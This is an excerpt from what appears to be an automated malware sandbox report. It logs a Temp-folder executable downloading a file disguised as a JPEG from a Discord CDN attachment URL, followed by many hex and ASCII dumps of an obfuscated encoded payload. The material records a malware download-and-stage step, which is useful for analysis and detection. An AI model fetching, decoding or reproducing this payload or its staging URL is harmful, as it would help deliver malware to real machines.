78 20 52 52 20 78 20 74 4b 20 78 20 52 59 20 78 20 52 51 20 78 20 59 6f 20 78 20 52 59 20 78 20 74 6b 20 78 20 4f 4f 51 
20 78 20 52 52 20 78 20 6b 45 20 78 20 52 59 20 78 20 74 78 20 78 
Data Ascii:  RY x tO x kO x RY x kY x OxE x RR x KQ x RY x tO x Yo x RY x RY x RY x RR x kk x RY x RQ x Oxt x RY x 
kK x OxE x RY x Yo x RY x tx x tE x RY x kR x RY x RR x tk x RY x RY x RY x RY x kR x OOQ x RR x tK x RY x RQ x Yo 
x RY x tk x OOQ x RR x kE x RY x tx x

2021-11-09 21:21:49 UTC 959 IN Data Raw: 20 52 52 20 78 20 4f 4f 59 20 78 20 52 59 20 78 20 74 4f 20 78 20 4f 4f 51 20 78 20 52 59 20 78 20 52 59 20 78 
20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 74 78 20 78 20 4f 4f 51 20 78 20 52 59 20 78 20 52 59 
20 78 20 52 59 20 78 20 52 52 20 78 20 74 78 20 78 20 52 59 20 78 20 74 6f 20 78 20 74 45 20 78 20 52 59 20 78 20 51 
51 20 78 20 4f 78 45 20 78 20 52 52 20 78 20 4f 4f 6b 20 78 20 52 59 20 78 20 74 6f 20 78 20 74 45 20 78 20 52 59 20 78 
20 74 45 20 78 20 52 59 20 78 20 52 59 20 78 20 4f 78 6b 20 78 20 52 59 20 78 20 74 4f 20 78 20 6b 4f 20 78 20 52 59 20 
78 20 74 51 20 78 20 4f 78 45 20 78 20 52 59 20 78 20 4f 78 45 20 78 20 52 59 20 78 20 52 74 20 78 20 6b 59 20 78 20 
52 59 20 78 20 51 51 20 78 20 4f 4f 51 20 78 20 52 59 20 78 20 
Data Ascii:  RR x OOY x RY x tO x OOQ x RY x RY x RY x RY x RY x RY x tx x OOQ x RY x RY x RY x RR x tx x RY x to 
x tE x RY x QQ x OxE x RR x OOk x RY x to x tE x RY x tE x RY x RY x Oxk x RY x tO x kO x RY x tQ x OxE x RY x OxE 
x RY x Rt x kY x RY x QQ x OOQ x RY x 

2021-11-09 21:21:49 UTC 975 IN Data Raw: 20 52 52 20 78 20 4f 4f 78 20 78 20 52 59 20 78 20 74 4f 20 78 20 4f 78 74 20 78 20 52 59 20 78 20 51 51 20 
78 20 4f 4f 51 20 78 20 52 52 20 78 20 4b 6b 20 78 20 52 59 20 78 20 74 4f 20 78 20 6b 59 20 78 20 52 59 20 78 20 51 51 
20 78 20 4f 78 45 20 78 20 52 52 20 78 20 4f 6f 6f 20 78 20 52 59 20 78 20 52 6b 20 78 20 4f 4f 4f 20 78 20 52 59 20 78 20 
74 45 20 78 20 52 59 20 78 20 52 59 20 78 20 74 6b 20 78 20 52 59 20 78 20 52 59 20 78 20 4f 4f 4f 20 78 20 52 59 20 78 
20 6b 6f 20 78 20 6b 4f 20 78 20 52 52 20 78 20 52 52 20 78 20 52 59 20 78 20 74 78 20 78 20 4f 78 45 20 78 20 52 59 20 
78 20 6b 78 20 78 20 6b 4f 20 78 20 52 59 20 78 20 4f 78 6b 20 78 20 52 59 20 78 20 52 6b 20 78 20 4f 78 45 20 78 20 52 
59 20 78 20 74 52 20 78 20 4f 78 45 20 78 20 52 59 20 
Data Ascii:  RR x OOx x RY x tO x Oxt x RY x QQ x OOQ x RR x Kk x RY x tO x kY x RY x QQ x OxE x RR x Ooo x RY x 
Rk x OOO x RY x tE x RY x RY x tk x RY x RY x OOO x RY x ko x kO x RR x RR x RY x tx x OxE x RY x kx x kO x RY x 
Oxk x RY x Rk x OxE x RY x tR x OxE x RY 

2021-11-09 21:21:49 UTC 991 IN Data Raw: 78 20 4f 4f 4f 20 78 20 52 59 20 78 20 52 59 20 78 20 52 6b 20 78 20 74 45 20 78 20 59 4b 20 78 20 52 59 20 
78 20 52 59 20 78 20 52 59 20 78 20 74 6f 20 78 20 4f 4f 74 20 78 20 6b 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 6b 
20 78 20 52 6b 20 78 20 4f 78 6b 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 4b 45 20 78 20 59 45 20 78 20 
6b 4f 20 78 20 52 59 20 78 20 52 59 20 78 20 6b 74 20 78 20 74 51 20 78 20 6b 59 20 78 20 52 59 20 78 20 52 59 20 78 
20 74 4f 20 78 20 59 59 20 78 20 4f 78 6b 20 78 20 52 59 20 78 20 52 59 20 78 20 52 74 20 78 20 74 45 20 78 20 59 45 2
0 78 20 6b 4f 20 78 20 52 59 20 78 20 52 59 20 78 20 4f 4f 6f 20 78 20 74 51 20 78 20 6b 59 20 78 20 52 59 20 78 20 52 5
9 20 78 20 74 52 20 78 20 6b 4b 20 78 20 4f 78 6b 20 78 20 52 59 
Data Ascii: x OOO x RY x RY x Rk x tE x YK x RY x RY x RY x to x OOt x kY x RY x RY x Rk x Rk x Oxk x RY x RY x RY 
x KE x YE x kO x RY x RY x kt x tQ x kY x RY x RY x tO x YY x Oxk x RY x RY x Rt x tE x YE x kO x RY x RY x OOo x t
Q x kY x RY x RY x tR x kK x Oxk x RY

Timestamp
kBytes
transferred Direction Data

Session ID Source IP Source Port Destination IP Destination Port Process

1 192.168.2.4 49871 162.159.134.233 443 C:\Users\user\AppData\Local\Temp\B8B0.exe

Timestamp
kBytes
transferred Direction Data

2021-11-09 21:21:49 UTC 1000 OUT GET /attachments/893177342426509335/902526117016109056/AB0F9338.jpg HTTP/1.1
Host: cdn.discordapp.com
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2021-11-09 21:21:49 UTC 1001 IN HTTP/1.1 200 OK
Date: Tue, 09 Nov 2021 21:21:49 GMT
Content-Type: image/jpeg
Content-Length: 345655
Connection: close
CF-Ray: 6aba17ce1bcb1f31-FRA
Accept-Ranges: bytes
Age: 1048493
Cache-Control: public, max-age=31536000
ETag: "d05714d4497c7b55b2c0b1609cbd62c9"
Expires: Wed, 09 Nov 2022 21:21:49 GMT
Last-Modified: Tue, 26 Oct 2021 11:56:34 GMT
Vary: Accept-Encoding
CF-Cache-Status: HIT
Alt-Svc: h3=":443"; ma=86400, h3-29=":443"; ma=86400, h3-28=":443"; ma=86400, h3-27=":443"; ma=86400
Cf-Bgj: h2pri
Expect-CT: max-age=604800, report-uri="https://report-uri.cloudflare.com/cdn-cgi/beacon/expect-ct"
x-goog-generation: 1635249394465681
x-goog-hash: crc32c=to49mQ==
x-goog-hash: md5=0FcU1El8e1WywLFgnL1iyQ==
x-goog-metageneration: 1
x-goog-storage-class: STANDARD
x-goog-stored-content-encoding: identity
x-goog-stored-content-length: 345655
X-GUploader-UploadID: ADPycds4sIyz_GzjIugLy9_WqK029_2RU2KSIIfGlpMQJZx1WvXGDydhZDvUpsH4QNom
t1ATbnkYUYcRxSnB_xGGebc
X-Robots-Tag: noindex, nofollow, noarchive, nocache, noimageindex, noodp
Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v3?s=QqZej0bIdmzadXtl648NrVqI%2Bvy3qc
rgRfsxTy1tt%2BM89YfsIyRoCp6K4nZ4WDS%2B2D7KhosOP3WxVb43rRNW8Xftfj7QcntasYumFcTyItGw2BfbE7oV
r7xHDfsNudNSSEssXw%3D%3D"}],"group":"cf-nel","max_age":604800}

2021-11-09 21:21:49 UTC 1002 IN Data Raw: 4e 45 4c 3a 20 7b 22 73 75 63 63 65 73 73 5f 66 72 61 63 74 69 6f 6e 22 3a 30 2c 22 72 65 70 6f 72 74 5f 74 6f 
22 3a 22 63 66 2d 6e 65 6c 22 2c 22 6d 61 78 5f 61 67 65 22 3a 36 30 34 38 30 30 7d 0d 0a 53 65 72 76 65 72 3a 20 63 
6c 6f 75 64 66 6c 61 72 65 0d 0a 0d 0a 
Data Ascii: NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800}Server: cloudflare

2021-11-09 21:21:49 UTC 1002 IN Data Raw: 78 20 52 51 20 78 20 74 6b 20 78 20 4f 6f 4f 20 78 20 51 78 20 78 20 6b 74 20 78 20 74 78 20 78 20 4b 6b 20 
78 20 51 78 20 78 20 6b 52 20 78 20 52 52 20 78 20 4f 6f 4f 20 78 20 51 6b 20 78 20 59 78 20 78 20 74 6b 20 78 20 4f 78 
6b 20 78 20 51 51 20 78 20 59 4f 20 78 20 74 6b 20 78 20 6b 6b 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 
4b 6b 20 78 20 52 59 20 78 20 52 51 20 78 20 74 6b 20 78 20 4f 4f 59 20 78 20 51 6b 20 78 20 59 4f 20 78 20 74 6b 20 78 
20 4f 78 6b 20 78 20 6b 45 20 78 20 74 4f 20 78 20 74 78 20 78 20 4f 4f 74 20 78 20 51 78 20 78 20 74 4f 20 78 20 4f 6f 78 
20 78 20 4f 78 6b 20 78 20 52 59 20 78 20 52 52 20 78 20 6b 4f 20 78 20 52 6b 20 78 20 6b 59 20 78 20 59 78 20 78 20 
6b 52 20 78 20 4b 6b 20 78 20 6b 6f 20 78 20 6b 74 20 78 20 
Data Ascii: x RQ x tk x OoO x Qx x kt x tx x Kk x Qx x kR x RR x OoO x Qk x Yx x tk x Oxk x QQ x YO x tk x kk x RY x RY 
x RY x Kk x RY x RQ x tk x OOY x Qk x YO x tk x Oxk x kE x tO x tx x OOt x Qx x tO x Oox x Oxk x RY x RR x kO x Rk x 
kY x Yx x kR x Kk x ko x kt x 

2021-11-09 21:21:49 UTC 1003 IN Data Raw: 78 20 6b 6f 20 78 20 6b 4f 20 78 20 51 51 20 78 20 4f 78 51 20 78 20 59 74 20 78 20 4f 78 52 20 78 20 51 78 
20 78 20 6b 6b 20 78 20 74 6b 20 78 20 4f 6f 6f 20 78 20 6b 4b 20 78 20 6b 74 20 78 20 6b 52 20 78 20 4f 4f 52 20 78 20 
51 6b 20 78 20 59 4f 20 78 20 74 4b 20 78 20 59 45 20 78 20 52 59 20 78 20 74 59 20 78 20 52 51 20 78 20 52 52 20 78 
20 6b 6f 20 78 20 59 78 20 78 20 6b 52 20 78 20 4b 6b 20 78 20 6b 59 20 78 20 74 6f 20 78 20 74 4b 20 78 20 4f 4f 6b 20 
78 20 6b 51 20 78 20 59 78 20 78 20 6b 52 20 78 20 4f 6f 6f 20 78 20 51 51 20 78 20 4b 6b 20 78 20 74 78 20 78 20 4f 78 
51 20 78 20 51 78 20 78 20 4f 78 51 20 78 20 4f 78 6b 20 78 20 4f 4f 74 20 78 20 51 74 20 78 20 6b 6b 20 78 20 6b 6f 20 
78 20 59 45 20 78 20 6b 4b 20 78 20 6b 74 20 78 20 74 78 20 
Data Ascii: x ko x kO x QQ x OxQ x Yt x OxR x Qx x kk x tk x Ooo x kK x kt x kR x OOR x Qk x YO x tK x YE x RY x tY x 
RQ x RR x ko x Yx x kR x Kk x kY x to x tK x OOk x kQ x Yx x kR x Ooo x QQ x Kk x tx x OxQ x Qx x OxQ x Oxk x OOt x 
Qt x kk x ko x YE x kK x kt x tx 

2021-11-09 21:21:49 UTC 1005 IN Data Raw: 78 20 4f 4f 6f 20 78 20 51 6b 20 78 20 6b 74 20 78 20 6b 59 20 78 20 52 59 20 78 20 52 59 20 78 20 74 45 20 
78 20 74 45 20 78 20 52 52 20 78 20 6b 6f 20 78 20 59 78 20 78 20 6b 52 20 78 20 4b 6b 20 78 20 6b 4b 20 78 20 6b 74 
20 78 20 59 74 20 78 20 4f 78 74 20 78 20 4f 78 78 20 78 20 6b 74 20 78 20 4f 6f 78 20 78 20 4f 78 6b 20 78 20 6b 45 20 
78 20 74 4f 20 78 20 74 78 20 78 20 4f 4f 74 20 78 20 51 78 20 78 20 74 4f 20 78 20 4f 6f 78 20 78 20 4f 78 6b 20 78 20 6b 
52 20 78 20 4f 4f 51 20 78 20 52 59 20 78 20 52 59 20 78 20 6b 52 20 78 20 52 59 20 78 20 74 78 20 78 20 74 6f 20 78 20 
51 78 20 78 20 6b 6b 20 78 20 6b 6f 20 78 20 52 51 20 78 20 51 51 20 78 20 4f 78 51 20 78 20 4f 78 6b 20 78 20 59 78 20 
78 20 51 78 20 78 20 6b 52 20 78 20 6b 6f 20 78 20 59 45 
Data Ascii: x OOo x Qk x kt x kY x RY x RY x tE x tE x RR x ko x Yx x kR x Kk x kK x kt x Yt x Oxt x Oxx x kt x Oox x Oxk 
x kE x tO x tx x OOt x Qx x tO x Oox x Oxk x kR x OOQ x RY x RY x kR x RY x tx x to x Qx x kk x ko x RQ x QQ x OxQ x 
Oxk x Yx x Qx x kR x ko x YE

2021-11-09 21:21:49 UTC 1006 IN Data Raw: 51 20 78 20 51 6b 20 78 20 74 4f 20 78 20 6b 52 20 78 20 74 4f 20 78 20 51 74 20 78 20 6b 74 20 78 20 4f 6f 
78 20 78 20 4f 78 6b 20 78 20 6b 4b 20 78 20 4f 78 51 20 78 20 74 78 20 78 20 4f 4f 52 20 78 20 51 78 20 78 20 6b 52 20 
78 20 51 51 20 78 20 52 59 20 78 20 52 59 20 78 20 74 4f 20 78 20 6b 59 20 78 20 52 74 20 78 20 6b 4b 20 78 20 74 4f 
20 78 20 59 74 20 78 20 4f 78 52 20 78 20 51 74 20 78 20 4b 51 20 78 20 74 4b 20 78 20 4f 78 6b 20 78 20 51 51 20 78 
20 59 78 20 78 20 59 74 20 78 20 4b 51 20 78 20 51 51 20 78 20 4f 78 51 20 78 20 74 6b 20 78 20 4f 78 6b 20 78 20 52 5
9 20 78 20 52 59 20 78 20 52 52 20 78 20 51 51 20 78 20 52 59 20 78 20 4f 78 74 20 78 20 4f 6f 78 20 78 20 4f 4f 6b 20 7
8 20 6b 51 20 78 20 59 78 20 78 20 74 78 20 78 20 4f 4f 59 20 78 
Data Ascii: Q x Qk x tO x kR x tO x Qt x kt x Oox x Oxk x kK x OxQ x tx x OOR x Qx x kR x QQ x RY x RY x tO x kY x Rt x 
kK x tO x Yt x OxR x Qt x KQ x tK x Oxk x QQ x Yx x Yt x KQ x QQ x OxQ x tk x Oxk x RY x RY x RR x QQ x RY x Oxt x 
Oox x OOk x kQ x Yx x tx x OOY x

2021-11-09 21:21:49 UTC 1007 IN Data Raw: 6b 20 78 20 59 78 20 78 20 51 78 20 78 20 4f 4f 6f 20 78 20 51 6b 20 78 20 74 4f 20 78 20 6b 52 20 78 20 6b 
4b 20 78 20 4f 78 78 20 78 20 74 6f 20 78 20 74 4b 20 78 20 4f 4f 6f 20 78 20 51 6b 20 78 20 4f 78 51 20 78 20 4f 78 78 
20 78 20 6b 6b 20 78 20 52 59 20 78 20 52 59 20 78 20 52 74 20 78 20 4f 4f 45 20 78 20 52 59 20 78 20 4b 51 20 78 20 4f 
78 78 20 78 20 4f 6f 4f 20 78 20 51 74 20 78 20 6b 6b 20 78 20 6b 6f 20 78 20 4f 78 6b 20 78 20 6b 59 20 78 20 74 6f 20 
78 20 74 4b 20 78 20 4f 4f 6f 20 78 20 4f 78 78 20 78 20 4f 78 51 20 78 20 74 78 20 78 20 4b 6b 20 78 20 51 78 20 78 20 
6b 52 20 78 20 52 52 20 78 20 4f 6f 4f 20 78 20 51 6b 20 78 20 59 78 20 78 20 51 78 20 78 20 4f 4f 6f 20 78 20 51 6b 20 
78 20 74 4f 20 78 20 6b 52 20 78 20 6b 4b 20 78 20 4f 78 
Data Ascii: k x Yx x Qx x OOo x Qk x tO x kR x kK x Oxx x to x tK x OOo x Qk x OxQ x Oxx x kk x RY x RY x Rt x OOE x 
RY x KQ x Oxx x OoO x Qt x kk x ko x Oxk x kY x to x tK x OOo x Oxx x OxQ x tx x Kk x Qx x kR x RR x OoO x Qk x Yx x 
Qx x OOo x Qk x tO x kR x kK x Ox

Timestamp
kBytes
transferred Direction Data
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2021-11-09 21:21:49 UTC 1009 IN Data Raw: 6f 6f 20 78 20 74 74 20 78 20 4f 78 6b 20 78 20 74 6b 20 78 20 4f 4f 74 20 78 20 6b 51 20 78 20 6b 6b 20 78 
20 52 52 20 78 20 4f 6f 6f 20 78 20 51 74 20 78 20 74 4f 20 78 20 59 74 20 78 20 4b 6b 20 78 20 52 59 20 78 20 52 59 20 
78 20 52 52 20 78 20 4f 4f 45 20 78 20 52 59 20 78 20 52 51 20 78 20 74 6b 20 78 20 4f 6f 4f 20 78 20 51 78 20 78 20 6b 
74 20 78 20 74 78 20 78 20 4b 6b 20 78 20 51 78 20 78 20 6b 52 20 78 20 74 4b 20 78 20 4f 78 6b 20 78 20 51 6b 20 78 
20 6b 74 20 78 20 59 74 20 78 20 4b 6b 20 78 20 51 78 20 78 20 6b 52 20 78 20 6b 6f 20 78 20 4f 4f 4f 20 78 20 51 51 20 
78 20 4f 78 51 20 78 20 6b 52 20 78 20 4f 78 4b 20 78 20 51 78 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 4f 
4f 45 20 78 20 52 59 20 78 20 52 52 20 78 20 74 78 20 78 20 
Data Ascii: oo x tt x Oxk x tk x OOt x kQ x kk x RR x Ooo x Qt x tO x Yt x Kk x RY x RY x RR x OOE x RY x RQ x tk x OoO 
x Qx x kt x tx x Kk x Qx x kR x tK x Oxk x Qk x kt x Yt x Kk x Qx x kR x ko x OOO x QQ x OxQ x kR x OxK x Qx x RY x RY 
x RY x OOE x RY x RR x tx x 

2021-11-09 21:21:49 UTC 1010 IN Data Raw: 59 20 78 20 52 59 20 78 20 52 52 20 78 20 74 6b 20 78 20 52 59 20 78 20 4f 78 6b 20 78 20 74 6b 20 78 20 4f 
78 6b 20 78 20 4f 78 78 20 78 20 52 51 20 78 20 74 6b 20 78 20 4b 51 20 78 20 51 51 20 78 20 4f 4f 78 20 78 20 74 6b 20 
78 20 4f 4f 6b 20 78 20 51 51 20 78 20 4f 78 45 20 78 20 52 74 20 78 20 59 74 20 78 20 52 59 20 78 20 6b 59 20 78 20 4f 
6f 78 20 78 20 4f 4f 6b 20 78 20 6b 51 20 78 20 6b 74 20 78 20 6b 6f 20 78 20 52 6b 20 78 20 4f 78 78 20 78 20 6b 6b 20 
78 20 74 4b 20 78 20 4f 6f 6f 20 78 20 51 6b 20 78 20 59 4f 20 78 20 74 4b 20 78 20 6b 6b 20 78 20 52 59 20 78 20 74 78 
20 78 20 4f 4f 59 20 78 20 52 52 20 78 20 6b 6f 20 78 20 59 78 20 78 20 6b 52 20 78 20 4b 6b 20 78 20 6b 59 20 78 20 59 
4f 20 78 20 4f 78 6b 20 78 20 4f 6f 6f 20 78 20 6b 4f 20 
Data Ascii: Y x RY x RR x tk x RY x Oxk x tk x Oxk x Oxx x RQ x tk x KQ x QQ x OOx x tk x OOk x QQ x OxE x Rt x Yt x 
RY x kY x Oox x OOk x kQ x kt x ko x Rk x Oxx x kk x tK x Ooo x Qk x YO x tK x kk x RY x tx x OOY x RR x ko x Yx x kR x 
Kk x kY x YO x Oxk x Ooo x kO 

2021-11-09 21:21:49 UTC 1011 IN Data Raw: 20 78 20 52 51 20 78 20 74 4b 20 78 20 4f 78 6b 20 78 20 51 78 20 78 20 59 78 20 78 20 4f 78 6b 20 78 20 4f 
4f 74 20 78 20 6b 59 20 78 20 74 4f 20 78 20 74 78 20 78 20 4f 4f 6f 20 78 20 51 6b 20 78 20 4f 4f 78 20 78 20 6b 4f 20 78 
20 52 59 20 78 20 52 59 20 78 20 6b 78 20 78 20 59 52 20 78 20 52 59 20 78 20 6b 6f 20 78 20 59 78 20 78 20 6b 52 20 
78 20 4b 6b 20 78 20 6b 4f 20 78 20 59 78 20 78 20 4f 6f 78 20 78 20 4f 4f 6f 20 78 20 51 78 20 78 20 6b 74 20 78 20 59 
45 20 78 20 4b 6b 20 78 20 6b 59 20 78 20 4f 78 51 20 78 20 6b 52 20 78 20 4f 78 52 20 78 20 4f 78 78 20 78 20 52 59 20 
78 20 52 52 20 78 20 4f 78 78 20 78 20 52 59 20 78 20 6b 59 20 78 20 4f 78 78 20 78 20 4f 78 6b 20 78 20 4f 78 78 20 78 
20 74 78 20 78 20 74 6b 20 78 20 59 45 20 78 20 51 51 20 
Data Ascii:  x RQ x tK x Oxk x Qx x Yx x Oxk x OOt x kY x tO x tx x OOo x Qk x OOx x kO x RY x RY x kx x YR x RY x ko 
x Yx x kR x Kk x kO x Yx x Oox x OOo x Qx x kt x YE x Kk x kY x OxQ x kR x OxR x Oxx x RY x RR x Oxx x RY x kY x 
Oxx x Oxk x Oxx x tx x tk x YE x QQ 

2021-11-09 21:21:49 UTC 1013 IN Data Raw: 20 59 45 20 78 20 4f 78 74 20 78 20 51 6b 20 78 20 59 4f 20 78 20 51 51 20 78 20 52 59 20 78 20 4f 6f 4f 20 78 
20 52 59 20 78 20 52 52 20 78 20 74 78 20 78 20 51 6b 20 78 20 4f 78 51 20 78 20 6b 6f 20 78 20 6b 4f 20 78 20 6b 51 20 
78 20 6b 74 20 78 20 4f 78 6b 20 78 20 4f 4f 74 20 78 20 4f 78 78 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 
4f 78 74 20 78 20 4f 4f 51 20 78 20 74 78 20 78 20 74 4b 20 78 20 51 6b 20 78 20 4f 4f 78 20 78 20 51 78 20 78 20 4f 78 
4b 20 78 20 51 6b 20 78 20 74 4f 20 78 20 4f 78 6b 20 78 20 4f 78 74 20 78 20 6b 51 20 78 20 6b 6b 20 78 20 6b 6f 20 78 
20 4f 78 6b 20 78 20 6b 59 20 78 20 4f 78 51 20 78 20 6b 52 20 78 20 4f 78 52 20 78 20 4f 78 78 20 78 20 52 59 20 78 20 
52 59 20 78 20 52 59 20 78 20 4f 4f 52 20 78 20 6b 4f 
Data Ascii:  YE x Oxt x Qk x YO x QQ x RY x OoO x RY x RR x tx x Qk x OxQ x ko x kO x kQ x kt x Oxk x OOt x Oxx x RY 
x RY x RY x Oxt x OOQ x tx x tK x Qk x OOx x Qx x OxK x Qk x tO x Oxk x Oxt x kQ x kk x ko x Oxk x kY x OxQ x kR x 
OxR x Oxx x RY x RY x RY x OOR x kO

2021-11-09 21:21:49 UTC 1014 IN Data Raw: 78 51 20 78 20 59 74 20 78 20 4f 78 52 20 78 20 4f 78 78 20 78 20 6b 6b 20 78 20 74 74 20 78 20 52 59 20 78 
20 52 59 20 78 20 52 6b 20 78 20 74 45 20 78 20 52 52 20 78 20 6b 6f 20 78 20 59 78 20 78 20 6b 52 20 78 20 4b 6b 20 
78 20 6b 4b 20 78 20 6b 74 20 78 20 6b 52 20 78 20 4f 4f 74 20 78 20 4f 78 78 20 78 20 6b 59 20 78 20 4f 78 6b 20 78 20 
4b 6b 20 78 20 51 78 20 78 20 6b 74 20 78 20 4b 51 20 78 20 52 6b 20 78 20 51 6b 20 78 20 59 4f 20 78 20 6b 52 20 78 
20 4f 4f 74 20 78 20 4f 78 78 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 6b 6f 20 78 20 6b 4f 20 78 20 74 78 
20 78 20 74 6f 20 78 20 51 78 20 78 20 6b 6b 20 78 20 6b 6f 20 78 20 6b 4f 20 78 20 6b 51 20 78 20 6b 6b 20 78 20 74 4b 
20 78 20 4f 78 6b 20 78 20 51 6b 20 78 20 4f 4f 78 20 78 20 6b 
Data Ascii: xQ x Yt x OxR x Oxx x kk x tt x RY x RY x Rk x tE x RR x ko x Yx x kR x Kk x kK x kt x kR x OOt x Oxx x kY x 
Oxk x Kk x Qx x kt x KQ x Rk x Qk x YO x kR x OOt x Oxx x RY x RY x RY x ko x kO x tx x to x Qx x kk x ko x kO x kQ x k
k x tK x Oxk x Qk x OOx x k

2021-11-09 21:21:49 UTC 1015 IN Data Raw: 20 4b 6b 20 78 20 51 78 20 78 20 6b 59 20 78 20 6b 6f 20 78 20 4f 4f 6f 20 78 20 6b 51 20 78 20 6b 74 20 78 
20 4f 6f 78 20 78 20 4f 4f 6b 20 78 20 51 78 20 78 20 4b 51 20 78 20 52 52 20 78 20 4f 78 4b 20 78 20 51 51 20 78 20 4f 
78 51 20 78 20 74 78 20 78 20 4f 4f 52 20 78 20 6b 52 20 78 20 4f 4f 51 20 78 20 52 59 20 78 20 52 59 20 78 20 4f 6f 4f 20 
78 20 4f 4f 51 20 78 20 52 52 20 78 20 74 78 20 78 20 51 6b 20 78 20 4f 4f 78 20 78 20 6b 52 20 78 20 4f 4f 52 20 78 20 
6b 4f 20 78 20 59 78 20 78 20 4f 78 4b 20 78 20 4f 4f 6f 20 78 20 51 6b 20 78 20 74 4f 20 78 20 6b 6f 20 78 20 6b 6b 20 
78 20 51 74 20 78 20 6b 74 20 78 20 59 45 20 78 20 4f 78 74 20 78 20 51 6b 20 78 20 59 4f 20 78 20 4f 78 78 20 78 20 4f 
6f 6f 20 78 20 52 59 20 78 20 52 59 20 78 20 52 6b 20 
Data Ascii:  Kk x Qx x kY x ko x OOo x kQ x kt x Oox x OOk x Qx x KQ x RR x OxK x QQ x OxQ x tx x OOR x kR x OOQ x 
RY x RY x OoO x OOQ x RR x tx x Qk x OOx x kR x OOR x kO x Yx x OxK x OOo x Qk x tO x ko x kk x Qt x kt x YE x Oxt 
x Qk x YO x Oxx x Ooo x RY x RY x Rk 

2021-11-09 21:21:49 UTC 1017 IN Data Raw: 4f 78 6b 20 78 20 74 6b 20 78 20 4f 78 6b 20 78 20 4f 78 78 20 78 20 74 78 20 78 20 6b 6f 20 78 20 4f 78 6b 
20 78 20 4f 78 4f 20 78 20 74 6f 20 78 20 6b 6f 20 78 20 52 6b 20 78 20 51 6b 20 78 20 59 78 20 78 20 4f 6f 78 20 78 20 4f
4f 6b 20 78 20 51 51 20 78 20 4f 78 45 20 78 20 52 59 20 78 20 52 59 20 78 20 51 74 20 78 20 4f 4f 51 20 78 20 74 78 20 
78 20 74 6f 20 78 20 51 78 20 78 20 6b 6b 20 78 20 6b 6f 20 78 20 52 51 20 78 20 51 78 20 78 20 6b 6b 20 78 20 51 78 
20 78 20 4f 4f 6f 20 78 20 6b 51 20 78 20 59 78 20 78 20 6b 52 20 78 20 52 6b 20 78 20 6b 51 20 78 20 6b 6b 20 78 20 52 
52 20 78 20 4f 6f 6f 20 78 20 52 59 20 78 20 52 51 20 78 20 4f 78 78 20 78 20 52 51 20 78 20 6b 45 20 78 20 6b 4b 20 78 
20 74 74 20 78 20 4f 6f 4f 20 78 20 74 52 20 78 20 4f 78 
Data Ascii: Oxk x tk x Oxk x Oxx x tx x ko x Oxk x OxO x to x ko x Rk x Qk x Yx x Oox x OOk x QQ x OxE x RY x RY x Qt 
x OOQ x tx x to x Qx x kk x ko x RQ x Qx x kk x Qx x OOo x kQ x Yx x kR x Rk x kQ x kk x RR x Ooo x RY x RQ x Oxx x 
RQ x kE x kK x tt x OoO x tR x Ox

2021-11-09 21:21:49 UTC 1018 IN Data Raw: 78 51 20 78 20 6b 52 20 78 20 59 78 20 78 20 51 78 20 78 20 6b 6b 20 78 20 74 4b 20 78 20 4b 6b 20 78 20 
6b 52 20 78 20 74 4f 20 78 20 59 74 20 78 20 6b 4b 20 78 20 51 78 20 78 20 6b 74 20 78 20 4f 6f 78 20 78 20 4f 78 51 20 
78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 4b 45 20 78 20 52 59 20 78 20 52 51 20 78 20 74 6b 20 78 20 4f 4f 
59 20 78 20 51 6b 20 78 20 59 4f 20 78 20 74 6b 20 78 20 4f 78 6b 20 78 20 6b 59 20 78 20 59 78 20 78 20 6b 52 20 78 2
0 4f 6f 4f 20 78 20 4f 78 78 20 78 20 4f 78 51 20 78 20 4f 78 6b 20 78 20 4f 78 52 20 78 20 51 78 20 78 20 6b 59 20 78 20 
4f 78 4b 20 78 20 4f 78 4b 20 78 20 51 6b 20 78 20 4f 78 51 20 78 20 6b 6f 20 78 20 4f 4f 59 20 78 20 51 78 20 78 20 6b 
4f 20 78 20 52 59 20 78 20 52 59 20 78 20 4b 51 20 78 20 4f 4f 
Data Ascii: xQ x kR x Yx x Qx x kk x tK x Kk x kR x tO x Yt x kK x Qx x kt x Oox x OxQ x RY x RY x RY x KE x RY x RQ x 
tk x OOY x Qk x YO x tk x Oxk x kY x Yx x kR x OoO x Oxx x OxQ x Oxk x OxR x Qx x kY x OxK x OxK x Qk x OxQ x ko x 
OOY x Qx x kO x RY x RY x KQ x OO
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2021-11-09 21:21:49 UTC 1019 IN Data Raw: 78 20 4f 78 6b 20 78 20 4f 4f 59 20 78 20 51 78 20 78 20 6b 52 20 78 20 51 51 20 78 20 52 59 20 78 20 52 59 
20 78 20 52 59 20 78 20 4f 4f 4f 20 78 20 52 52 20 78 20 6b 59 20 78 20 59 78 20 78 20 4f 78 4b 20 78 20 4f 78 6b 20 78 
20 51 6b 20 78 20 74 4f 20 78 20 4f 6f 78 20 78 20 74 78 20 78 20 4f 78 4f 20 78 20 74 4f 20 78 20 6b 52 20 78 20 4f 78 
52 20 78 20 4f 78 78 20 78 20 6b 6b 20 78 20 6b 6f 20 78 20 4f 78 6b 20 78 20 6b 6f 20 78 20 6b 6b 20 78 20 4f 78 4b 20 
78 20 6b 6b 20 78 20 52 59 20 78 20 52 59 20 78 20 4f 4f 59 20 78 20 52 52 20 78 20 6b 59 20 78 20 59 78 20 78 20 4f 78 
4b 20 78 20 4f 78 6b 20 78 20 51 6b 20 78 20 74 4f 20 78 20 4f 6f 78 20 78 20 74 78 20 78 20 4f 78 4f 20 78 20 74 4f 20 78
20 6b 52 20 78 20 4f 78 52 20 78 20 4f 78 78 20 78 20 
Data Ascii: x Oxk x OOY x Qx x kR x QQ x RY x RY x RY x OOO x RR x kY x Yx x OxK x Oxk x Qk x tO x Oox x tx x OxO 
x tO x kR x OxR x Oxx x kk x ko x Oxk x ko x kk x OxK x kk x RY x RY x OOY x RR x kY x Yx x OxK x Oxk x Qk x tO x Oo
x x tx x OxO x tO x kR x OxR x Oxx x 

